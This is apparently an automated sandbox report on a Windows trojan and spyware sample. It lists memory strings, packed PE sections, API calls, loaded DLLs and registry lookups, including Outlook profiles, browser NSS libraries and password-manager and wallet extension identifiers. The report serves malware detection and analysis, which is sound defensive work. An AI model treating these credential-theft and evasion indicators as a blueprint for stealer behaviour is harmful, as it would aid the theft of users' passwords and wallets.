Source: EGDAEBGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: EGDAEBGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1919044282.00000000299BD000.00000004.00000020.00020000.00000000.sdmp, JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1919044282.00000000299BD000.00000004.00000020.00020000.00000000.sdmp, JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C62B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C62B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C62B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5CF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138F115	0_2_0138F115
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162	0_2_013D8162
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013DB9B5	0_2_013DB9B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A89A0	0_2_012A89A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE9FD	0_2_012EE9FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F5084	0_2_012F5084
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013DD08D	0_2_013DD08D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013E2308	0_2_013E2308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B8372	0_2_012B8372
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D9B90	0_2_013D9B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CBBE0	0_2_013CBBE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D6BC8	0_2_013D6BC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014A0A1B	0_2_014A0A1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013E0AB4	0_2_013E0AB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01334586	0_2_01334586
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129B5DA	0_2_0129B5DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D4C1A	0_2_013D4C1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01318FAA	0_2_01318FAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381FD5	0_2_01381FD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C35A0	0_2_6C5C35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5440	0_2_6C5D5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63545C	0_2_6C63545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63542B	0_2_6C63542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63AC00	0_2_6C63AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605C10	0_2_6C605C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612C10	0_2_6C612C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED4D0	0_2_6C5ED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606CF0	0_2_6C606CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D64C0	0_2_6C5D64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4E0	0_2_6C5CD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6234A0	0_2_6C6234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C4A0	0_2_6C62C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6C80	0_2_6C5D6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F0512	0_2_6C5F0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFD00	0_2_6C5DFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6285F0	0_2_6C6285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600DD0	0_2_6C600DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E63	0_2_6C636E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9E50	0_2_6C5E9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4640	0_2_6C5E4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC670	0_2_6C5CC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612E4E	0_2_6C612E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603E50	0_2_6C603E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629E30	0_2_6C629E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615600	0_2_6C615600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607E10	0_2_6C607E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6376E3	0_2_6C6376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBEF0	0_2_6C5CBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFEF0	0_2_6C5DFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624EA0	0_2_6C624EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5E90	0_2_6C5E5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E680	0_2_6C62E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9F00	0_2_6C5D9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607710	0_2_6C607710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6FF0	0_2_6C5F6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CDFE0	0_2_6C5CDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6177A0	0_2_6C6177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8850	0_2_6C5E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED850	0_2_6C5ED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60F070	0_2_6C60F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B820	0_2_6C60B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614820	0_2_6C614820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D7810	0_2_6C5D7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6058E0	0_2_6C6058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6350C7	0_2_6C6350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC0E0	0_2_6C5EC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F60A0	0_2_6C5F60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B970	0_2_6C61B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B170	0_2_6C63B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA940	0_2_6C5EA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD960	0_2_6C5DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD9B0	0_2_6C5FD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605190	0_2_6C605190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622990	0_2_6C622990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC9A0	0_2_6C5CC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609A60	0_2_6C609A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E2F0	0_2_6C60E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608AC0	0_2_6C608AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AF0	0_2_6C5E1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632AB0	0_2_6C632AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DCAB0	0_2_6C5DCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63BA90	0_2_6C63BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C22A0	0_2_6C5C22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4AA0	0_2_6C5F4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5340	0_2_6C5C5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC370	0_2_6C5DC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D320	0_2_6C60D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6353C8	0_2_6C6353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF380	0_2_6C5CF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 010045C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5FCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2006067497.000000006C845000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: hsaeqjuf ZLIB complexity 0.9949538915270715

Source: file.exe, 00000000.00000003.1709937283.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C627030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C627030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01019600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01013720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_01013720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5BFF2PNQ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1830567446.000000001D594000.00000004.00000020.00020000.00000000.sdmp, AKJDGIEHCAEHIEBFBKKK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2005688814.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1867776 > 1048576

Source: file.exe

Static PE information: Raw size of hsaeqjuf is bigger than: 0x100000 < 0x1a1e00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2005996135.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1000000.0.unpack :EW;.rsrc :W;.idata :W; :EW;hsaeqjuf:EW;zousqxhp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;hsaeqjuf:EW;zousqxhp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01019860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d605c should be: 0x1d4a68

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hsaeqjuf
Source: file.exe	Static PE information: section name: zousqxhp
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148E95C push esi; mov dword ptr [esp], 7E5713AAh	0_2_0148E97E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01411954 push 50F573B6h; mov dword ptr [esp], esp	0_2_01411966
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01411954 push ebp; mov dword ptr [esp], edx	0_2_01411D39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01415957 push edi; mov dword ptr [esp], 4B6F162Fh	0_2_01415988
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01415957 push esi; mov dword ptr [esp], eax	0_2_014159A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01415957 push edx; mov dword ptr [esp], edi	0_2_01415A14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01415957 push ebp; mov dword ptr [esp], ebx	0_2_01415A3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138F115 push edi; mov dword ptr [esp], 646B58B2h	0_2_0138F129
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138F115 push 7E19831Dh; mov dword ptr [esp], edx	0_2_0138F1AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138F115 push eax; mov dword ptr [esp], edx	0_2_0138F245
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013F916E push ecx; mov dword ptr [esp], edi	0_2_013FA35D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 5F387ECCh; mov dword ptr [esp], ecx	0_2_013D8203
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 5511222Ah; mov dword ptr [esp], edx	0_2_013D82A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 7572C5C0h; mov dword ptr [esp], esi	0_2_013D82F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push edx; mov dword ptr [esp], esi	0_2_013D8396
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ebp; mov dword ptr [esp], esi	0_2_013D83FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push eax; mov dword ptr [esp], ecx	0_2_013D8442
